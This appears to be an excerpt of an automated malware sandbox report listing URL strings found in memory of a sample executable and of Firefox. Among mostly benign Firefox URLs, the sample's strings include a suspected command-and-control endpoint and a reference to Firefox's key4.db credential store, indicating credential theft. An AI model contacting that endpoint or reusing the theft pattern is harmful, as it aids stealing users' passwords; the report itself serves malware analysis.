Source: 847b1b04ba.exe, 0000000E.00000003.3065207172.0000000000887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: 847b1b04ba.exe, 0000000E.00000002.3072130853.0000000000887000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3065207172.0000000000887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api.default-release/key4.dbPK
Source: 847b1b04ba.exe, 0000000E.00000002.3072130853.0000000000887000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3065207172.0000000000887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apiK
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2976855688.000002AEABD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2976855688.000002AEABD8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/about-compat/aboutPage.js
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/about-compat/aboutPage.jsUnexpected
Source: firefox.exe, 0000001C.00000002.3059695048.000002AEADD5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000002.3054154889.000002AEADC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD741000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3004141176.000002AEACE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svgFileUtils_closeSafeFileOutputStream
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3004141176.000002AEACE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3181470422.000002AEB4ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2820527244.000002AEB4ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001C.00000002.3114461929.000002AEAF6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC8EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3181470422.000002AEB4AE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2820325987.000002AEB4AF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001C.00000002.3142574817.000002AEAF993000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001C.00000002.3001713978.000002AEACB8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000318337.000002AEACA9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000318337.000002AEACA0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jshttps://static.adsafeprotected.com/firefox-etp-pixe
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997884636.000002AEAC9DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2823294314.000002AEAC9DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3027428952.000002AEAD936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3014930730.000002AEAD664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 847b1b04ba.exe, 0000000E.00000003.2841087460.000000000546C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3027428952.000002AEAD90A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001C.00000002.3153046824.000002AEB4596000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 847b1b04ba.exe, 0000000E.00000003.2841087460.000000000546C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001C.00000002.3014930730.000002AEAD62D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgmaybeShowOnboardingDialog
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226989797.0000215661004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2976855688.000002AEABD8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001C.00000003.2828617076.000002AEB5F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226989797.0000215661004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 847b1b04ba.exe, 0000000E.00000003.2842371884.000000000535B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2899659472.000002AEA77AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3004141176.000002AEACE10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226989797.0000215661004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000003.2802074028.000002AEB5FF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
